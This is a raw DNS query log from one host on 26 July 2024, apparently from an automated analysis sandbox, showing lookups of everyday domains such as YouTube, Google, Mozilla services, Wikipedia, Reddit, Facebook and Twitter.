Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360410929 CEST	1.1.1.1	192.168.2.6	0xc6a4	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360410929 CEST	1.1.1.1	192.168.2.6	0xc6a4	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jul 26, 2024 10:37:14.367460966 CEST	1.1.1.1	192.168.2.6	0x412	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:14.367460966 CEST	1.1.1.1	192.168.2.6	0x412	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.367563009 CEST	1.1.1.1	192.168.2.6	0xda50	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831434965 CEST	1.1.1.1	192.168.2.6	0xc30b	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831434965 CEST	1.1.1.1	192.168.2.6	0xc30b	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.831453085 CEST	1.1.1.1	192.168.2.6	0xcfeb	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:15.897911072 CEST	1.1.1.1	192.168.2.6	0xcd07	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:15.898049116 CEST	1.1.1.1	192.168.2.6	0x6489	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:17.752163887 CEST	1.1.1.1	192.168.2.6	0x308b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:17.752163887 CEST	1.1.1.1	192.168.2.6	0x308b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:17.752191067 CEST	1.1.1.1	192.168.2.6	0x27b6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 10:37:17.752970934 CEST	1.1.1.1	192.168.2.6	0xfe90	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:17.752970934 CEST	1.1.1.1	192.168.2.6	0xfe90	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:17.755323887 CEST	1.1.1.1	192.168.2.6	0x6b21	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 10:37:17.932321072 CEST	1.1.1.1	192.168.2.6	0x8cb	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:17.932321072 CEST	1.1.1.1	192.168.2.6	0x8cb	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:17.932888985 CEST	1.1.1.1	192.168.2.6	0x6bb9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 10:37:22.550430059 CEST	1.1.1.1	192.168.2.6	0x1c59	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:22.550430059 CEST	1.1.1.1	192.168.2.6	0x1c59	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:22.602910042 CEST	1.1.1.1	192.168.2.6	0x74f1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:22.624322891 CEST	1.1.1.1	192.168.2.6	0x548b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Jul 26, 2024 10:37:24.219268084 CEST	1.1.1.1	192.168.2.6	0xbde4	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:24.229757071 CEST	1.1.1.1	192.168.2.6	0x8b07	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:24.229757071 CEST	1.1.1.1	192.168.2.6	0x8b07	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:24.542117119 CEST	1.1.1.1	192.168.2.6	0xd411	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:24.542117119 CEST	1.1.1.1	192.168.2.6	0xd411	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:25.390410900 CEST	1.1.1.1	192.168.2.6	0xb41	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:25.406383991 CEST	1.1.1.1	192.168.2.6	0xc975	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.360132933 CEST	1.1.1.1	192.168.2.6	0x5be4	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.370745897 CEST	1.1.1.1	192.168.2.6	0x668e	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.405303001 CEST	1.1.1.1	192.168.2.6	0x3138	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 10:37:29.405303001 CEST	1.1.1.1	192.168.2.6	0x3138	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 10:37:29.405303001 CEST	1.1.1.1	192.168.2.6	0x3138	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 10:37:29.405303001 CEST	1.1.1.1	192.168.2.6	0x3138	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 10:37:29.661907911 CEST	1.1.1.1	192.168.2.6	0x643b	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:29.661907911 CEST	1.1.1.1	192.168.2.6	0x643b	No error (0)	www3.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.662754059 CEST	1.1.1.1	192.168.2.6	0xa405	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:32.962495089 CEST	1.1.1.1	192.168.2.6	0x7441	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:33.006758928 CEST	1.1.1.1	192.168.2.6	0xbfc6	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:38.030867100 CEST	1.1.1.1	192.168.2.6	0xb8a6	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:38.030867100 CEST	1.1.1.1	192.168.2.6	0xb8a6	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:40.175076008 CEST	1.1.1.1	192.168.2.6	0x5b1a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:40.175076008 CEST	1.1.1.1	192.168.2.6	0x5b1a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:40.213534117 CEST	1.1.1.1	192.168.2.6	0xc982	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:42.071238995 CEST	1.1.1.1	192.168.2.6	0x920c	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:48.010281086 CEST	1.1.1.1	192.168.2.6	0xcd9f	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:48.010281086 CEST	1.1.1.1	192.168.2.6	0xcd9f	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:48.010281086 CEST	1.1.1.1	192.168.2.6	0xcd9f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:48.019031048 CEST	1.1.1.1	192.168.2.6	0xbf4c	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:48.029835939 CEST	1.1.1.1	192.168.2.6	0x7593	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Jul 26, 2024 10:37:48.458107948 CEST	1.1.1.1	192.168.2.6	0x3dc8	No error (0)	play.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.186609030 CEST	1.1.1.1	192.168.2.6	0x628b	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:56.186609030 CEST	1.1.1.1	192.168.2.6	0x628b	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.186625957 CEST	1.1.1.1	192.168.2.6	0x3e94	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:56.186625957 CEST	1.1.1.1	192.168.2.6	0x3e94	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.186625957 CEST	1.1.1.1	192.168.2.6	0x3e94	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.186625957 CEST	1.1.1.1	192.168.2.6	0x3e94	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.186625957 CEST	1.1.1.1	192.168.2.6	0x3e94	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.186656952 CEST	1.1.1.1	192.168.2.6	0xdf6a	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:56.186656952 CEST	1.1.1.1	192.168.2.6	0xdf6a	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.203460932 CEST	1.1.1.1	192.168.2.6	0xb989	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.204521894 CEST	1.1.1.1	192.168.2.6	0x3a81	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.204521894 CEST	1.1.1.1	192.168.2.6	0x3a81	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.204521894 CEST	1.1.1.1	192.168.2.6	0x3a81	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.204521894 CEST	1.1.1.1	192.168.2.6	0x3a81	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.204904079 CEST	1.1.1.1	192.168.2.6	0x4493	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.212310076 CEST	1.1.1.1	192.168.2.6	0x2ff0	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Jul 26, 2024 10:37:56.212575912 CEST	1.1.1.1	192.168.2.6	0xc8db	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Jul 26, 2024 10:37:56.220940113 CEST	1.1.1.1	192.168.2.6	0x7e0c	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.237128019 CEST	1.1.1.1	192.168.2.6	0xa943	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:57.715594053 CEST	1.1.1.1	192.168.2.6	0x3840	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:57.715594053 CEST	1.1.1.1	192.168.2.6	0x3840	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:57.724585056 CEST	1.1.1.1	192.168.2.6	0x6cb0	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:57.856554985 CEST	1.1.1.1	192.168.2.6	0x6adf	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:59.619708061 CEST	1.1.1.1	192.168.2.6	0xb0ec	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:59.619708061 CEST	1.1.1.1	192.168.2.6	0xb0ec	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:59.636611938 CEST	1.1.1.1	192.168.2.6	0x7c29	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:59.639045000 CEST	1.1.1.1	192.168.2.6	0xe9eb	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:59.645124912 CEST	1.1.1.1	192.168.2.6	0xc285	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:59.806922913 CEST	1.1.1.1	192.168.2.6	0x23f3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:59.806922913 CEST	1.1.1.1	192.168.2.6	0x23f3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.474946022 CEST	1.1.1.1	192.168.2.6	0x9d2d	No error (0)	services.addons.mozilla.org		143.204.215.18	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.474946022 CEST	1.1.1.1	192.168.2.6	0x9d2d	No error (0)	services.addons.mozilla.org		143.204.215.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.474946022 CEST	1.1.1.1	192.168.2.6	0x9d2d	No error (0)	services.addons.mozilla.org		143.204.215.115	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.474946022 CEST	1.1.1.1	192.168.2.6	0x9d2d	No error (0)	services.addons.mozilla.org		143.204.215.122	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.484337091 CEST	1.1.1.1	192.168.2.6	0xcbb9	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.550667048 CEST	1.1.1.1	192.168.2.6	0x5757	No error (0)	services.addons.mozilla.org		143.204.215.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.550667048 CEST	1.1.1.1	192.168.2.6	0x5757	No error (0)	services.addons.mozilla.org		143.204.215.18	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.550667048 CEST	1.1.1.1	192.168.2.6	0x5757	No error (0)	services.addons.mozilla.org		143.204.215.115	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.550667048 CEST	1.1.1.1	192.168.2.6	0x5757	No error (0)	services.addons.mozilla.org		143.204.215.122	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.565756083 CEST	1.1.1.1	192.168.2.6	0x5757	No error (0)	services.addons.mozilla.org		143.204.215.115	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.565756083 CEST	1.1.1.1	192.168.2.6	0x5757	No error (0)	services.addons.mozilla.org		143.204.215.18	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.565756083 CEST	1.1.1.1	192.168.2.6	0x5757	No error (0)	services.addons.mozilla.org		143.204.215.122	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.565756083 CEST	1.1.1.1	192.168.2.6	0x5757	No error (0)	services.addons.mozilla.org		143.204.215.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:11.688127995 CEST	1.1.1.1	192.168.2.6	0xd155	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:38:11.725589037 CEST	1.1.1.1	192.168.2.6	0xd353	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:38:11.725589037 CEST	1.1.1.1	192.168.2.6	0xd353	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:38:11.727436066 CEST	1.1.1.1	192.168.2.6	0xd353	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:38:11.727436066 CEST	1.1.1.1	192.168.2.6	0xd353	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:38:18.246879101 CEST	1.1.1.1	192.168.2.6	0xac4a	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:18.248614073 CEST	1.1.1.1	192.168.2.6	0x2e35	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 26, 2024 10:38:19.738116026 CEST	1.1.1.1	192.168.2.6	0x8d18	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
